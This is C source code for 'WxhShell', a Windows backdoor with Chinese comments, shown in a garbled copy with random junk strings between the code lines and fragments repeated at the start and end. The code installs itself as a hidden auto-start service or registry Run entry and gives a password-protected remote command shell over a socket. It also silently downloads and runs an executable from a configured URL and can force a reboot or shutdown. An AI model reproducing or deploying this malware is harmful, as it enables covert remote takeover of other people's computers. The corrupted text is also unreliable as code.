rl g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ouK&H|' NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bT*MJ7VVm EYd`qk3 if (!NtQueryInformationProcess) return 0; BS>|M}G)r bgqN&J)Jr) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QS,IM>Nr if(!hProcess) return 0; 7qV_QZ!. `&b8wF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `#A&v 3zp)!QJi CloseHandle(hProcess); K!"[,=u_ /}-]n81m hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {7[^L1 if(hProcess==NULL) return 0; S3i%7f^C?N EQ8jxr<p HMODULE hMod; hAHl+q)w? char procName[255]; kYl$V= unsigned long cbNeeded; uz".!K[,wE %YM4x!6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HlBw:D(z:^ SJ^.#^) CloseHandle(hProcess); +|).dm E:T<mI?d if(strstr(procName,"services")) return 1; // 以服务启动 9
bYoWw Gn#5zx#l return 0; // 注册表启动 5Az=)q4Q } <33[qt~ }k.-xaj // 主模块 LpeQx\ int StartWxhshell(LPSTR lpCmdLine) (]^9>3{| { $)vljM<< SOCKET wsl; FF6[qSV BOOL val=TRUE; =Bi>$Ly int port=0; ]8*g% struct sockaddr_in door; +'2Mj|d@p gpVZZ:~ if(wscfg.ws_autoins) Install(); Yvs)H'n= *oL?R2#7 port=atoi(lpCmdLine); vXLiYWo 63QMv[`, if(port<=0) port=wscfg.ws_port; v#@"Evh7 [!,&A{.! WSADATA data; c<wsWs 4V if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r#JE7uneT )9 5&-Hs if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {'E%SIRZ) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Oj\lg2Ck
door.sin_family = AF_INET; HhhN8t door.sin_addr.s_addr = inet_addr("127.0.0.1"); D' ZR>@w@ door.sin_port = htons(port); hU3c;6]3 L&MR%5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WW\u}z.QJ closesocket(wsl); (BEGt'7 return 1; O&V}T#8n } O;9u1,%w Dz:A.x@$* if(listen(wsl,2) == INVALID_SOCKET) { 21bvSK closesocket(wsl); aB0L]i return 1; _d76jmujJ } 6!bVPIyYO Wxhshell(wsl); ]@vX4G/ WSACleanup(); #8MA+ U748$%}] return 0; 8{#WF# NE,2jeZQ . } ?>cx;"xF Hgu$)yhlj // 以NT服务方式启动 f
<fa+fB VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %B}Q .' { ~ P"@^cq DWORD status = 0; 6O
bB/*h DWORD specificError = 0xfffffff; {mrTpw >8D!K0?E serviceStatus.dwServiceType = SERVICE_WIN32; L3GA]TIf serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^[,Q2MHCT( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g(B &A
P_e serviceStatus.dwWin32ExitCode = 0; KV9'ew+M serviceStatus.dwServiceSpecificExitCode = 0; , 7KP serviceStatus.dwCheckPoint = 0; F&%@p& serviceStatus.dwWaitHint = 0; ztTj2M"
]W~\%`#8? hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jzI70+E if (hServiceStatusHandle==0) return; >!848J rn $a)^! status = GetLastError(); y<0zAsT if (status!=NO_ERROR) QMLz { 1"YN{Ut;G serviceStatus.dwCurrentState = SERVICE_STOPPED; 1fm4:xHH serviceStatus.dwCheckPoint = 0; n^B9Mh@ serviceStatus.dwWaitHint = 0; 3}(6z"r serviceStatus.dwWin32ExitCode = status; 1)pwR3(^Fz serviceStatus.dwServiceSpecificExitCode = specificError; r&oR|-2hRk SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]$Pl[Vegy return; H )hO/1m } g = ~Y\$& h/ 5|3 serviceStatus.dwCurrentState = SERVICE_RUNNING; Z<L}ur serviceStatus.dwCheckPoint = 0; 7/+I"~ serviceStatus.dwWaitHint = 0; ;$,=VB:' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [~*5uSG } 1AQVj]#S qmqWMLfC // 处理NT服务事件,比如:启动、停止 5xC4lT/U VOID WINAPI NTServiceHandler(DWORD fdwControl) s!,m,l[P { CX?q%o2b switch(fdwControl) 39to5s, { 6D|[3rXr case SERVICE_CONTROL_STOP: pMB!I9q serviceStatus.dwWin32ExitCode = 0; L#O1> serviceStatus.dwCurrentState = SERVICE_STOPPED; -{`8Av5)E% serviceStatus.dwCheckPoint = 0; .7&V@A7 serviceStatus.dwWaitHint = 0; 5{Q5?M] { N(uH y@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); F]e`-; } bCMo8Xh return; |_."U9!Z^ case SERVICE_CONTROL_PAUSE: 8C]K36q serviceStatus.dwCurrentState = SERVICE_PAUSED; )Tjh
break; @W}cM case SERVICE_CONTROL_CONTINUE: Q2yD4>qy serviceStatus.dwCurrentState = SERVICE_RUNNING; eyW8?: break; &H8wYs case SERVICE_CONTROL_INTERROGATE: [As9&]Bv5 break; F-AU'o
* }; scX'>\w&c SetServiceStatus(hServiceStatusHandle, &serviceStatus); #lAC:>s3U } uN>JX/- oCfO:7 // 标准应用程序主函数 GT.1,E,Vw int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6&|hpp#[ { Y`F) UwKK $B%wK`J // 获取操作系统版本 }Q$}LR@ OsIsNt=GetOsVer(); q9Zp8&<EqH GetModuleFileName(NULL,ExeFile,MAX_PATH); T_R2BBT
v
F!7dGa$ // 从命令行安装 `eZzYe(N if(strpbrk(lpCmdLine,"iI")) Install(); YTpiOPf PAng(tubl // 下载执行文件 8tfM,.]_i if(wscfg.ws_downexe) { }uZ/^_U. if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &1/OwTI4J WinExec(wscfg.ws_filenam,SW_HIDE); $7h]A$$Fv } (#kKL??W Q$+6f,m#W if(!OsIsNt) { V>Dqw! // 如果时win9x,隐藏进程并且设置为注册表启动 ^h\(j*/#X HideProc(); #[f]-c(! StartWxhshell(lpCmdLine); :eIi^K z[ } Z8C~o)n9 else e"oTlB if(StartFromService()) /H4Z.|@ // 以服务方式启动 /RVwhA+c StartServiceCtrlDispatcher(DispatchTable); lfvt9!SJ+/ else :HW| mqKd // 普通方式启动 Y5c,O>T5Y StartWxhshell(lpCmdLine); R
[ZY;g:p >|X ) return 0; )]}G8A } D:] QBA)C wE[gp+X~ d|#&j." |d$4Fu(M~ =========================================== ZnKjU ]m IG+g7kDCY JBhM*-t(M1 k5M5bH', IOA2/WQu xU/7}='T " |kY}G3/ M*!WXQlud #include <stdio.h> 0$A^ .M; #include <string.h> Hf/ZaBn #include <windows.h> JDJ"D\85 #include <winsock2.h> TAxu ]C$P #include <winsvc.h> 3Fb9\2<H #include <urlmon.h> \sBXS. X [<%T}s# #pragma comment (lib, "Ws2_32.lib") ho-#Xbq#g #pragma comment (lib, "urlmon.lib") /KLkrW ;,8 )%[ #define MAX_USER 100 // 最大客户端连接数 r<$o [,W #define BUF_SOCK 200 // sock buffer qk~m\U8r #define KEY_BUFF 255 // 输入 buffer X=+|(A,BdY w73?E#8 #define REBOOT 0 // 重启 fB80&G9 #define SHUTDOWN 1 // 关机 6ao~f?JZ 5U-SIG* #define DEF_PORT 5000 // 监听端口 ]A;.}1' yky%+@2q #define REG_LEN 16 // 注册表键长度 lD^c_b #define SVC_LEN 80 // NT服务名长度 0G31Kou 5JHWt<n{P // 从dll定义API V/3@iOwD typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7u{V1_n1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^Q6?T(%$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2E8G5?qe) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @U3:9~Q {dXTj 7 // wxhshell配置信息 T>f6V 5 struct WSCFG { Ol B9z int ws_port; // 监听端口 dz?On\66 char ws_passstr[REG_LEN]; // 口令 M8Vc5 int ws_autoins; // 安装标记, 1=yes 0=no 7Db}bDU1
| char ws_regname[REG_LEN]; // 注册表键名 Jd^Lnp6? char ws_svcname[REG_LEN]; // 服务名 T|8:_4/l char ws_svcdisp[SVC_LEN]; // 服务显示名 @@j:z;^| char ws_svcdesc[SVC_LEN]; // 服务描述信息 "OwK- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |Fz ^(US int ws_downexe; // 下载执行标记, 1=yes 0=no M^*\$K% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" []v$QR&u#v char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )s,LFIy<A =z;]FauR! }; RL:B.Lv/W O6/:J#X% // default Wxhshell configuration $ay!'MK0d struct WSCFG wscfg={DEF_PORT, oYdE s&qq "xuhuanlingzhe", &?1O D5 1, ^2H; "Wxhshell", dB6['z)2 "Wxhshell",
tKS[ "WxhShell Service", _RzFh "Wrsky Windows CmdShell Service", (H5#r2h%Y "Please Input Your Password: ", ,{mv6?_ 1, m}u)C&2> "http://www.wrsky.com/wxhshell.exe", q}+zNeC "Wxhshell.exe" _1Q6FI5iR }; IMr#5 XmD(&3;v- // 消息定义模块 n$N$OFuO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {nXygg
J char *msg_ws_prompt="\n\r? for help\n\r#>"; Cdy,8* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >+Ig<}p char *msg_ws_ext="\n\rExit."; Um}AV char *msg_ws_end="\n\rQuit."; 7O'.KoMw char *msg_ws_boot="\n\rReboot..."; RyP MzxV char *msg_ws_poff="\n\rShutdown..."; I?St}Tl char *msg_ws_down="\n\rSave to "; 5D.Sg;\ j g//I<D char *msg_ws_err="\n\rErr!"; V3#ms0 char *msg_ws_ok="\n\rOK!"; Gbjh|j= JOpH
Z? char ExeFile[MAX_PATH]; T>]T= int nUser = 0; s;YbZ*oaMe HANDLE handles[MAX_USER]; {1Y@%e int OsIsNt; }% f7O 0
zK{)HZ SERVICE_STATUS serviceStatus; q8&l%-d` SERVICE_STATUS_HANDLE hServiceStatusHandle; %59uR}\ Rw%%
9 // 函数声明 3:MJKS02OD int Install(void); 5VP0Xa ~ int Uninstall(void); ;}iB9 Tl int DownloadFile(char *sURL, SOCKET wsh); ff5 gE' int Boot(int flag); /q+;!EM void HideProc(void); F@k}p-e~ int GetOsVer(void); 9Q^cE\j int Wxhshell(SOCKET wsl); qC{JsX`~ void TalkWithClient(void *cs); |ZE^'e*k int CmdShell(SOCKET sock); t"Ci1"U int StartFromService(void);
WB?HY?[r int StartWxhshell(LPSTR lpCmdLine); (w#t V* (De{r| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /zt M' VOID WINAPI NTServiceHandler( DWORD fdwControl ); j{YYG| z4:<?K // 数据结构和表定义 `:Gzjngc SERVICE_TABLE_ENTRY DispatchTable[] = vjS=ZinN" { 5LB{b]w7m {wscfg.ws_svcname, NTServiceMain}, Jn^b}bk t {NULL, NULL} Hc=QSP }; C6[W/,eS t+}wTis // 自我安装 Bp_R"DS7A int Install(void) 7]xDMu'^&f { R?O)vLmd char svExeFile[MAX_PATH]; ^l|b>z"0ao HKEY key; B Z|A&; strcpy(svExeFile,ExeFile); &G\mcstX y0sce // 如果是win9x系统,修改注册表设为自启动 w+>+hq if(!OsIsNt) { Jr( =Y@Z' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4[@YF@_=M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t|eH'"N%o RegCloseKey(key); EC;>-s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cp(2]Eb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nw'03Jzx_ RegCloseKey(key); '"fJA/O return 0; v8*)^-Fx } KF00=HE|] } s91[@rh/ } !*}UP|8 else { /3,Lp-kp >PSO]%mE // 如果是NT以上系统,安装为系统服务 qEr?4h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #G77q$ if (schSCManager!=0) UMR ?q0J { vUJ;D SC_HANDLE schService = CreateService !Fp %2gt| ( /T)E&=Ds schSCManager, /7 Tm2Vj8 wscfg.ws_svcname, PQkw)D<n]_ wscfg.ws_svcdisp, ve
ysW(z SERVICE_ALL_ACCESS, \jtA8o%n SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0SQr%:zG SERVICE_AUTO_START, iCF},W+ SERVICE_ERROR_NORMAL, Y@0'0 svExeFile, SOhM6/ID2/ NULL, ^
*"f C NULL, ^iMr't\b NULL, WHY/x /$ NULL, B={_}f NULL Q2VF+g, ); n?.; *: if (schService!=0) W~/d2_|/ { &)mZ~cPU3 CloseServiceHandle(schService); >MHlrSH2 CloseServiceHandle(schSCManager); mkn1LzE|F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j 4?Qd0z strcat(svExeFile,wscfg.ws_svcname); Bz/Vzc( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &rBe -52 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &.,K@OFE} RegCloseKey(key); zHb[.ry~ return 0; t1adS:)s } Ev5~= ] } LigB!M CloseServiceHandle(schSCManager); fz=?QEG } {siOa%;* } G kjfDY: >#|%'Us return 1; eo0-aHs } _-TplGSO=c X ha9x, // 自我卸载 I "AjYv4R int Uninstall(void) ^m w]u"5\ { x,,y}_YX HKEY key; Io]FDPN {R!yw`#^B if(!OsIsNt) { ZwS:Te9- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ma~#E$i& RegDeleteValue(key,wscfg.ws_regname); \b"rf697, RegCloseKey(key); E$)| Kv^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WR)=VE RegDeleteValue(key,wscfg.ws_regname); ^)Hf% RegCloseKey(key); &J6`Q<U! return 0; N&NBn( } }`B
.(3n } _]`7et\= } @.e X8~3= else { >ou=}/< ?{S>%P A_B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y&zFS4"x if (schSCManager!=0) 8%7%[WC# { !CGX \cvW SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `I5^zi8 if (schService!=0) =%X."i1A { v|%41xOsr if(DeleteService(schService)!=0) {
bmv8nal<Y CloseServiceHandle(schService); !%G]~ CloseServiceHandle(schSCManager); 7Jf~Bn return 0; j,M$l mR') } *): |WDR CloseServiceHandle(schService); Cs6`lX > } zqeQ CloseServiceHandle(schSCManager); j>\c >U } r<UVO$N } Z+El(f x h<G4tjtk return 1; i.Rl&t } .11l(M :jiuu@< // 从指定url下载文件 qVn<c,8# int DownloadFile(char *sURL, SOCKET wsh) 5*YoK)2J {
,&hv x HRESULT hr; V.GM$ char seps[]= "/"; !=dz^f.{ char *token; G?W:O{n3 char *file; Rd#R}yA char myURL[MAX_PATH]; ra$:ibLN char myFILE[MAX_PATH]; PJ.\)oP E]@&<TFq strcpy(myURL,sURL); +F;2FD$ token=strtok(myURL,seps); (;l@d|g while(token!=NULL) #rlgeHG!fs { +0pI}a\ file=token; BsQ;`2 token=strtok(NULL,seps); 3oCI1>k } o1.~g'!^ 4D?h}U / GetCurrentDirectory(MAX_PATH,myFILE); g3tE.!a5- strcat(myFILE, "\\"); w]wZJ/U` strcat(myFILE, file); |
&X<- send(wsh,myFILE,strlen(myFILE),0); 3V k8' send(wsh,"...",3,0); U]3!"+Y1P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hd)Jq'MCS if(hr==S_OK) L/8oqO| return 0; }'oU/@yG else X1^VdJE return 1; TA[%eMvA cJ4My#w } cJo%j -AM \O|SPhaIf // 系统电源模块 7Jn%XxHq int Boot(int flag) ]Z!Y*v { 6 4_}"fU HANDLE hToken; V?{d<Ng~J TOKEN_PRIVILEGES tkp; Q0xO;20 ]Ur/DRNS if(OsIsNt) { [b++bCH3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |qNe_) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \dk1a tkp.PrivilegeCount = 1; FOiwA.:0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qOo4T@t3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %N8I'*u if(flag==REBOOT) { :U?g']`Z## if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ReaZg ?:h return 0; z=D5* } 6FB0g8 else { KdEvu? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c^r8<KlI9 return 0; G+
/Q!ic } ,>j3zjf^ } 7'\.QJ!< else { 'Ea3(OsuXn if(flag==REBOOT) { YkKu4f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n8,%<!F^ return 0; Px_8lB/; } gT)(RS`_) else { uN%Cc12 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tia}&9; return 0; Ic/hVKYG5 } v$}^$8` } I-#!mFl scV%p&{a return 1; ?@"@9na } =Vg~ VD yq~ // win9x进程隐藏模块 r^ ,_m,s'< void HideProc(void) b<u\THy# { Vl5r~+$| }i+C)VUX HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [+[W\6 if ( hKernel != NULL ) <-`bWz=+ { ufL,Kq4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g#I`P& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;j0.#P:a FreeLibrary(hKernel); 7F"ljkN1S } 48xgl1R(j 7'wpPXdY1 return; 4!!|P } maap X/J G@s:|oe // 获取操作系统版本 voZaJ2ho/O int GetOsVer(void) k=)U { Sm/8VSY OSVERSIONINFO winfo; BbB3#/g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0]>bNbLB" GetVersionEx(&winfo); ~A0AB
`7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x.1=QF{! return 1; =]@Bc
7@ else Zr}>>aIJ]k return 0; amsl>wc! } 11PL1zzH D4$b-?y // 客户端句柄模块 %<yW(s9{ int Wxhshell(SOCKET wsl) r`"_D%kc { r'i99~ SOCKET wsh; Rxy|Ag/I;V struct sockaddr_in client; kH 9k<{ DWORD myID; }wf8y M>k&WtqK while(nUser<MAX_USER) S1r{2s& { '&CZ%&(Gw int nSize=sizeof(client); 0hS&4nW wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N<#J!0w if(wsh==INVALID_SOCKET) return 1; k7Nx#%xx oypLE=H handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u8"s#%>Ny if(handles[nUser]==0) 2[w9#6ly closesocket(wsh); H [+'>Id: else @;EQ{d nUser++; ;8H&FsR } i?_Q@uA~<: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mLq0;uGL| P~(&lu/;P return 0; :$Cm]RZ } !KV!Tkx h k2Q[v // 关闭 socket R5sEQ| E void CloseIt(SOCKET wsh) C5=^cH8 { )F9IzR-&m closesocket(wsh); #7fOH
U8v nUser--; j Hq+/\ ExitThread(0); I85wP}c( } 0+0Y$;< >uCO=T,| // 客户端请求句柄 PCCE+wC6 void TalkWithClient(void *cs) X}B]5 { &Zz&VwWR 8h
ol4'B SOCKET wsh=(SOCKET)cs; iu{y.}? char pwd[SVC_LEN]; @G&oUhS char cmd[KEY_BUFF]; `y'%dY}$n char chr[1]; 3B#fnj int i,j; 9Zx| L/\ *r>Y]VG;S while (nUser < MAX_USER) { 1drg5 K`=U5vG^ if(wscfg.ws_passstr) { xgOt%7sb if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K81FKV. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !@V]H //ZeroMemory(pwd,KEY_BUFF); s\'t=}0q i=0; -/8V2dv3 while(i<SVC_LEN) { ;4+z~7Je]^ 2Jo|P A`9 // 设置超时 (ht"wY#T<( fd_set FdRead; hQ3@Cf W struct timeval TimeOut; $jk4H+H- FD_ZERO(&FdRead); i% 0qN FD_SET(wsh,&FdRead); Ps!
\k%FUl TimeOut.tv_sec=8; P w6l' TimeOut.tv_usec=0; s2sJJdN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,ig`'U if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E=.J*7 +) 9=bB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8hV4l'Pa72 pwd=chr[0]; :|l0x a if(chr[0]==0xd || chr[0]==0xa) { /p-k'387 pwd=0; @V4nc
'o. break; *o=Z~U9z } x+sSmW i++; *`s*l+0b } w^~s4Q_>> ,*$Y[UT // 如果是非法用户,关闭 socket J?p|Vy|9 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .:-*89c } i39_( )X k]4CN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z'Bvjul send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |}l/6WHB `[=/f=Q} while(1) { mv<cyWp ?zo7.R-Vac ZeroMemory(cmd,KEY_BUFF); }m!T~XR</ pE1uD4lLb // 自动支持客户端 telnet标准 (>Sy, j=0; 1\jj3Y'i' while(j<KEY_BUFF) { I/h( *~/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JWt@vf~ cmd[j]=chr[0]; #,jm3Mqj if(chr[0]==0xa || chr[0]==0xd) { tjZS:@3
Z cmd[j]=0; %*L8W*V break; ,[n=PJVw/ } q:_-#u j++;
zll?/|% } 0s4]eEXH gYL#} ) g // 下载文件 &S^a_L: if(strstr(cmd,"http://")) { H8c -/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); y_IF{%i if(DownloadFile(cmd,wsh)) BQMo*I>I send(wsh,msg_ws_err,strlen(msg_ws_err),0); q|.0Ja else @M*5q# s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,|O|gh$s } 6%VRQ#g! else { c*8k _o, ?f6Fj switch(cmd[0]) { P+p:Ed80 ;S2/n$Ju_ // 帮助 CfLPs)\ACm case '?': { ~\R+p~> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0@!-+}i break; =rNI&K_< } LZPLz@=&] // 安装 c5Hm94,p case 'i': { c"'JMq if(Install()) $+
\JT/eG9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;;17 #T2 else %Y].i/".;P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h*NBSvn break; X{5(i3?S } #w[Ie+ // 卸载 \T!tUd case 'r': { $8_b[~%2 if(Uninstall()) m!<uY?,hf send(wsh,msg_ws_err,strlen(msg_ws_err),0); w##$SaTI else v3/G.B@= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H+5N+AKb@ break; ~EhM"go } r^"pLzAx // 显示 wxhshell 所在路径 L6pw'1' case 'p': { |P=-m-W char svExeFile[MAX_PATH]; C'z}jM`g strcpy(svExeFile,"\n\r"); bq}o#d5p-_ strcat(svExeFile,ExeFile); ,3ivB8 send(wsh,svExeFile,strlen(svExeFile),0); pu+jw<7 break; vB/G#\Zqz } 9<!Ie^o? // 重启 )e\IdKl= case 'b': { XgZ.UT send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XCZNvLG if(Boot(REBOOT)) /`B:F5r send(wsh,msg_ws_err,strlen(msg_ws_err),0); y}lqF8s else { G
Y ]bw closesocket(wsh); NHzhGg] ExitThread(0); IsiCHtY9 } X[iQ%Y$/n break; .{#J2}+[_} } ~d6zpQf7> // 关机 y[:xGf]8@ case 'd': { #ruL+-8!< send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +,ZQ(
ZW if(Boot(SHUTDOWN)) }Ias7d?re send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1O;q|p'9 else { _"c?[n closesocket(wsh); dX~$#-Ad86 ExitThread(0);
U>
1v oc } @ * *]o break; B"I^hrQ } QPpC_pZh // 获取shell `GT{=XJfY case 's': { 4Q(GX.5 CmdShell(wsh); .q(1 closesocket(wsh); D~JrO]mi ExitThread(0); <@2g.+9 break; ZncJ } ?r-W
, n // 退出 rjW\tuZI case 'x': { /jv4#9 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t5WW3$Nf CloseIt(wsh); 6{PlclI ! break; G$$y\e$ } 4brKAqg. // 离开 dJD8c2G case 'q': { 3]g|Cwu send(wsh,msg_ws_end,strlen(msg_ws_end),0); <2>Qr(bb closesocket(wsh); BO)Q$*G~JD WSACleanup(); ify}xv exit(1); W~FM^xR?p break; z#elwL6 } _"0Bg3Y } +(3U_]Lu } K.K=\
Y2 $4a;R I // 提示信息 DNl'}K1W if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o&"nF+, } aoVfvz2Y } ?#P@N4Uw}y {]6Pd`- return; =Hwlo! } m_g2Cep \bPSy0 // shell模块句柄 w4e(p 3 int CmdShell(SOCKET sock) NvqIYW { \_J;i[ STARTUPINFO si; a8laPN ZeroMemory(&si,sizeof(si)); 1z$K54Mj si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P4S]bPIp si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YZ0Jei8+- PROCESS_INFORMATION ProcessInfo; E2~&GkU.UN char cmdline[]="cmd"; TO~Z6NA0 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >")<pUQ return 0; Q,m1mIf } 9(
"<NB0y (TJ )Y7E // 自身启动模式 dGY:?mf& int StartFromService(void) Y(3X5v?[ { ^TF71uo typedef struct /I/gbmc) { I c 2R\}q DWORD ExitStatus; 2/m4| DWORD PebBaseAddress; hFp\,QSx
DWORD AffinityMask; 8\{1y:| DWORD BasePriority; _gl7Ma ULONG UniqueProcessId; B
LI
9(@ ULONG InheritedFromUniqueProcessId; 6_wj,7 } PROCESS_BASIC_INFORMATION; K{WLo5HP yz7X7mAo PROCNTQSIP NtQueryInformationProcess; yhSbX4Q dF<GuS;l5 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T@)|0M static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qaeg3f3F3 $\A=J HANDLE hProcess; LaCVI PROCESS_BASIC_INFORMATION pbi; EAPjQA-B? ]n9gnE HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zt|DHVy if(NULL == hInst ) return 0; g ONybz6] nkAS]sC g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |`,AAa g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -.=:@H}r NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U8gf_R' A5[iFT> if (!NtQueryInformationProcess) return 0; M\rZr3 p.|NZXk%%a hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F2:nL`]b[ if(!hProcess) return 0; yT< |